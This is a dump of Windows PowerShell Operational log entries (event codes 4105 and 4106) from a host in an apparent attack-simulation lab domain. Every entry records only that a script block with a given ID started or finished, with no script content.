Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041325
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041303
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041301
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041300
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041284
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041283
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041278
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041277
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
